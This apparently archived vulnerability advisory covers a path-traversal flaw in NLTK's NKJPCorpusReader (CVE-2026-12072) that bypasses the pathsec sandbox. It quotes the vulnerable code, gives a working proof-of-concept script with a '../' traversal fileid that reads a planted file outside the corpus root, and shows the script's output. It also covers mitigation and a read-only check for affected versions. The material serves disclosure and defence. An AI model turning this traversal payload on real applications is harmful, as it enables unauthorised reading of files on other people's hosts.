# CVE-2026-12072: Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** HIGH
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Unknown
- **CWE:** CWE-22
- **Aliases:** GHSA-6hm5-jgcp-p838, PYSEC-2026-3581
- **Published:** 2026-07-31T16:50:55.000Z
- **Modified:** 2026-09-10T03:51:10.746Z

## Who should check

- Projects that depend on PyPI package nltk (\< 3.10.0)

## Description

\#\#\# Summary
   A path-traversal vulnerability in \`NKJPCorpusReader\` allows an attacker who can
   influence the \`fileids\` argument of its public read methods (\`header\`, \`raw\`,
   \`words\`, \`sents\`, \`tagged\_words\`) to read files outside the corpus root. The
   reader builds the file path with no containment check and opens it with the
   builtin \`open()\`, so it bypasses NLTK's \`nltk.pathsec\` sandbox — including the
   strict \`ENFORCE = True\` mode that \`SECURITY.md\` recommends for web/multi-tenant
   deployments. \`header()\` returns the parsed content of the out-of-root file to
   the caller (arbitrary file read).

   \#\#\# Details
   \`SECURITY.md\` promises that file access is "validated against allowed NLTK data
   directories" and that with \`nltk.pathsec.ENFORCE = True\` "unauthorized file
   access … will raise \`PermissionError\`." That guarantee is enforced via
   \`FileSystemPathPointer.open()\` / \`CorpusReader.open()\`, which call
   \`nltk.pathsec.validate\_path(...)\`.

   \`NKJPCorpusReader\` never uses that protected path. In
   \`nltk/corpus/reader/nkjp.py\`:

   - \`add\_root()\` builds the path by \*\*plain string concatenation\*\* with no
     normalization or containment check:
     \`\`\`python
     def add\_root(self, fileid):          \# lines 96-102
         if self.root in fileid:
             return fileid                \# attacker-controlled value returned unchanged
         return self.root + fileid        \# plain concat, '..' not stripped
     \`\`\`
   - The header view appends a fixed basename and passes the string straight into
     the corpus view (which opens it with the builtin \`open()\`):
     \`\`\`python
     class NKJPCorpus\_Header\_View(XMLCorpusView):   \# line 181
         def \_\_init\_\_(self, filename, \*\*kwargs):
             XMLCorpusView.\_\_init\_\_(self, filename + "header.xml", self.tagspec)  \# line 189
     \`\`\`
   - The other modes reach the filesystem through \`XML\_Tool\`, which uses a raw
     \`os.path.join\` (not the hardened \`FileSystemPathPointer.join()\`) and the
     builtin \`open()\`:
     \`\`\`python
     class XML\_Tool:                                  \# line 243
         def \_\_init\_\_(self, root, filename):
             self.read\_file = os.path.join(root, filename)   \# line 251
         def build\_preprocessed\_file(self):
             fr = open(self.read\_file)                        \# line 256 — pathsec never consulted
     \`\`\`

   Because \`open()\` is the builtin (not \`PathPointer.open()\`), the \`pathsec\`
   sentinel is never invoked, so \`ENFORCE = True\` does not block the access. For
   comparison, the safe API \`CorpusReader.open()\` (\`nltk/corpus/reader/api.py:222\`)
   rejects \`..\`/absolute fileids and calls \`validate\_path(..., required\_root=...)\`
   before opening — \`NKJPCorpusReader\` simply does not go through it.

   \#\#\# PoC
   Tested against \`nltk==3.9.4\` (latest PyPI release) and current \`develop\`.

   \`\`\`
   pip install "nltk==3.9.4"
   python3 poc.py
   \`\`\`

   \`poc.py\`:
   \`\`\`python
   import builtins, os, shutil, tempfile, warnings
   warnings.simplefilter("ignore")
   import nltk, nltk.pathsec as pathsec
   from nltk.corpus.reader.nkjp import NKJPCorpusReader

   print("nltk", nltk.\_\_version\_\_)

   \# A legitimate, empty NKJP corpus root (what a real app has).
   root = tempfile.mkdtemp(prefix="nkjp\_corpus\_root\_")
   os.makedirs(os.path.join(root, "sample"), exist\_ok=True)
   open(os.path.join(root, "sample", "header.xml"), "w").write("\<x/\>")

   \# The attacker's target: a file OUTSIDE the corpus root.
   secret\_dir = tempfile.mkdtemp(prefix="OUTSIDE\_ROOT\_")
   open(os.path.join(secret\_dir, "header.xml"), "w").write(
   "\<teiHeader\>\<fileDesc\>\<sourceDesc\>\<bibl\>"
   "\<title\>SECRET-API-KEY=sk-live-DEADBEEF\</title\>"
       "\</bibl\>\</sourceDesc\>\</fileDesc\>\</teiHeader\>")

   \# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
   pathsec.ENFORCE = True
   print("ENFORCE =", pathsec.ENFORCE)

   \# Prove the out-of-root read and that pathsec is never consulted.
   opened = \[\]; real = builtins.open
   builtins.open = lambda f, \*a, \*\*k: (opened.append(str(f)), real(f, \*a, \*\*k))\[1\]

   reader = NKJPCorpusReader(root=root + "/", fileids="sample")
   \# Attacker-controlled \`fileids\`; '..' escapes the corpus root:
   evil = root + "/../../../../../../.." + secret\_dir + "/"
   try:
       result = reader.header(fileids=\[evil\])
   finally:
       builtins.open = real

   print("opened outside root:", \[p for p in opened if "OUTSIDE\_ROOT\_" in p\]\[:1\])
   print("disclosed content  :", result\[0\]\["title"\])
   shutil.rmtree(root, ignore\_errors=True); shutil.rmtree(secret\_dir, ignore\_errors=True)
   \`\`\`

   Output (unmodified):
   \`\`\`
   nltk 3.9.4
   ENFORCE = True
   opened outside root: \['/tmp/nkjp\_corpus\_root\_XXXX/../../../../../../../tmp/OUTSIDE\_ROOT\_YYYY/header.xml'\]
   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF
   \`\`\`
   With \`ENFORCE = True\`, NLTK opened a file outside the corpus root via the
   builtin \`open()\` (no \`PermissionError\`, no warning) and returned its content.

   \#\#\# Impact
   This is a path traversal (CWE-22) leading to arbitrary file read. Any
   application that passes attacker-influenced values into \`NKJPCorpusReader\`'s
   \`fileids\` (e.g. letting a user choose which corpus document to read) is
   affected; the attacker can escape the corpus root and read files elsewhere on
   the host, defeating the \`ENFORCE=True\` sandbox.

   Honest scoping: \`header()\` discloses the content of out-of-root files named
   \`header.xml\` containing NKJP header XML. \`raw()\`/\`words()\`/\`sents()\` also open
   and read an arbitrary out-of-root file (proven by intercepting \`open()\`), but a
   separate pre-existing bug in \`XML\_Tool\` (writing \`str\` to a binary
   \`NamedTemporaryFile\`) suppresses their return value on current Python, so for
   those modes the impact is arbitrary file open/read. The attacker chooses the
   directory freely; a fixed basename is appended per mode. The same
   "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in
   \`xmldocs.py:161\`, \`util.py:212,215\`, \`crubadan.py:78,97\`, \`lin.py:43\`,
   \`ipipan.py:191\`, \`pl196x.py:110\` and is worth fixing as a class.

## Affected and fixed versions

- PyPI `nltk`: affected \< 3.10.0; fixed 3.10.0 (osv)

## Mitigation

- Upgrade nltk to 3.10.0 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2026-12072. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2026-12072.md
Affected: nltk < 3.10.0
Fixed in: 3.10.0

Steps:
1. Search this machine and project for nltk (PyPI): dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2026-12072 being exploited?

There is no confirmed exploitation: CVE-2026-12072 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known.

### How serious is CVE-2026-12072?

It has no CVSS score yet. Unknown.

### Which versions are affected by CVE-2026-12072?

nltk \< 3.10.0.

### Is there a fix for CVE-2026-12072?

Yes. Fixed in 3.10.0. Upgrade nltk to 3.10.0 or later.

### How do I check if I'm affected by CVE-2026-12072?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838>
- vendor: <https://github.com/advisories/GHSA-6hm5-jgcp-p838>
- vendor: <https://nvd.nist.gov/vuln/detail/CVE-2026-12072>
- other: <https://github.com/nltk/nltk>
- other: <https://pypi.org/project/nltk>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- OSV: CC-BY 4.0 <https://osv.dev/vulnerability/GHSA-6hm5-jgcp-p838> (license: <https://creativecommons.org/licenses/by/4.0/>)
- OSV: CC-BY 4.0 <https://osv.dev/vulnerability/PYSEC-2026-3581> (license: <https://creativecommons.org/licenses/by/4.0/>)

HTML: <https://flawdb.com/CVE-2026-12072> · JSON: <https://flawdb.com/api/v1/entries/CVE-2026-12072>
